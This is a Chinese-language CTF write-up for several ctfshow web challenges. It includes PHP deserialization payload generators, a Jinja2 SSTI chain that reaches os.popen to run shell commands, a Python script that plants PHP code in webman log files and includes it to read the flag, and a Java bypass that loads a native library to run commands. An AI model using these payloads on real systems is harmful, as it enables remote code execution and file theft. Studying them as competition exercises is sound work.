签到·好玩的PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php error_reporting(0); highlight_file(__FILE__);
class ctfshow { private $d = ''; private $s = ''; private $b = ''; private $ctf = '';
public function __destruct() { $this->d = (string)$this->d; $this->s = (string)$this->s; $this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) { $dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) { if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } } } } }
unserialize($_GET["dsbctf"]);
|
可以直接用123过
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
class ctfshow { public $d = ''; public $s = ''; public $b = ''; public $ctf = ''; } $a=new ctfshow(); $a->ctf=123; $a->d="1"; $a->s="2"; $a->b="3"; echo urlencode(serialize($a));
|
还有特殊浮点数变量NAN
和INF
可以来进行
1 2 3 4 5 6 7 8 9 10 11
| <?php class ctfshow { private $d = 'I'; private $s = 'N'; private $b = 'F'; private $ctf = INF; }
$dsbctf = new ctfshow();
echo urlencode(serialize($dsbctf));
|
ez_inject
自己出的
ezzz_ssti
可以利用一个参数,也就是config
里面的update
进行不断的参数更新来使得绕过字符长度
1 2 3 4 5 6 7 8
| {%set x=config.update(a=config.update)%} //此时字典中a的值被更新为config全局对象中的update方法 {%set x=config.a(f=lipsum.__globals__)%} //f的值被更新为lipsum.__globals__ {%set x=config.a(o=config.f.os)%} //o的值被更新为lipsum.__globals__.os {%set x=config.a(p=config.o.popen)%} //p的值被更新为lipsum.__globals__.os.popen {{config.p("ls /").read()}}
{%print(config)%} //输出config字典的所有键值对 {%print(config.o)%} //输出
|
迷雾重重
首先拿到了源码,先看控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php
namespace app\controller;
use support\Request; use support\exception\BusinessException;
class IndexController { public function index(Request $request) { return view('index/index'); }
public function testUnserialize(Request $request){ if(null !== $request->get('data')){ $data = $request->get('data'); unserialize($data); } return "unserialize测试完毕"; }
public function testJson(Request $request){ if(null !== $request->get('data')){ $data = json_decode($request->get('data'),true); if(null!== $data && $data['name'] == 'guest'){ return view('index/view', $data); } } return "json_decode测试完毕"; }
public function testSession(Request $request){ $session = $request->session(); $session->set('username',"guest"); $data = $session->get('username'); return "session测试完毕 username: ".$data;
}
public function testException(Request $request){ if(null != $request->get('data')){ $data = $request->get('data'); throw new BusinessException("业务异常 ".$data,3000); } return "exception测试完毕"; }
}
|
本来以为是进行反序列化链子的挖掘,因为这里直接给了unserialize
,但是找了一会__destruct
和__wakeup
,结果可以利用的都没有,session由于拿不到phpinfo也就不知道能不能包含了,那么就只剩下一个路由了,跟进json_decode
发现什么用都没有,然后找view,发现这个

接着找view
的文件夹/vendor/workerman/webman-framework/src/support/
,然后找到Raw.php

可以参数覆盖进行文件包含,跟进view
得到参数

而$data
刚好我们可控我们可以进行任意文件包含,但是包含哪个文件呢,由于种种限制,最后选择使用框架日志文件进行包含,官方脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import requests import time from datetime import datetime
url="http://72d92051-cb33-4488-b72c-d20ec4221839.challenge.ctf.show/"
def get_webroot(): print("[+] Getting webroot...")
webroot = ""
for i in range(1, 300): r = requests.get( url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i)) time.sleep(0.2) if "start.php" in r.text: print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline") webroot = r.text.split("start_file=")[1][:-10] print(f"Found webroot: {webroot}") break return webroot
def send_shell(webroot): payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format( webroot) r = requests.get(url=url + payload) time.sleep(1) if r.status_code == 500: print("[\033[31m*\033[0m] Shell sent successfully") else: print("Failed to send shell")
def include_shell(webroot): now = datetime.now() payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format( webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d")) r = requests.get(url=url + payload) time.sleep(5) r = requests.get(url=url + 'flag.txt') if "ctfshow" in r.text: print("=================FLAG==================\n") print("\033[32m" + r.text + "\033[0m") print("=================FLAG==================\n") print("[\033[31m*\033[0m] Shell included successfully") else: print("Failed to include shell")
def exploit(): webroot = get_webroot() send_shell(webroot) include_shell(webroot)
if __name__ == '__main__': exploit()
|
其中最重要的就是日志绝对路径的获取
简单的文件上传
黑盒,我们测试整理一下信息
- 可以上传jar后缀文件
- 可以删除上传后的jar包
- 输入jar文件名称,可以执行jar包
- 执行后 有执行回显
也就是说java -jar
命令前面加了 -Djava.securityManager
参数,policy
文件内容未知
经过测试后,可以知道jvm
对 uploads
有读权限,同时有loadLibrary.*
权限
这个我不知道怎么测试出来的,但是有loadLibrary.*
权限我们就可以加载恶意so文件,这里把后缀修改即可上传成功,那么写文件(直接用的官方的)

加载刚才的so文件,然后执行命令
1 2 3 4 5 6 7 8 9 10
| package com.ctfshow;
public class CTFshowCodeManager { public static native String eval(String str);
static { System.load("/var/www/html/uploads/CTFshowCodeManager.jar"); } }
|
1 2 3 4 5 6 7 8 9 10
| package com.ctfshow;
import java.io.IOException;
public class Main { public static void main(String[] args) throws IOException { CTFshowCodeManager.eval("cat /secretFlag000.txt"); } }
|
打包成jar上传
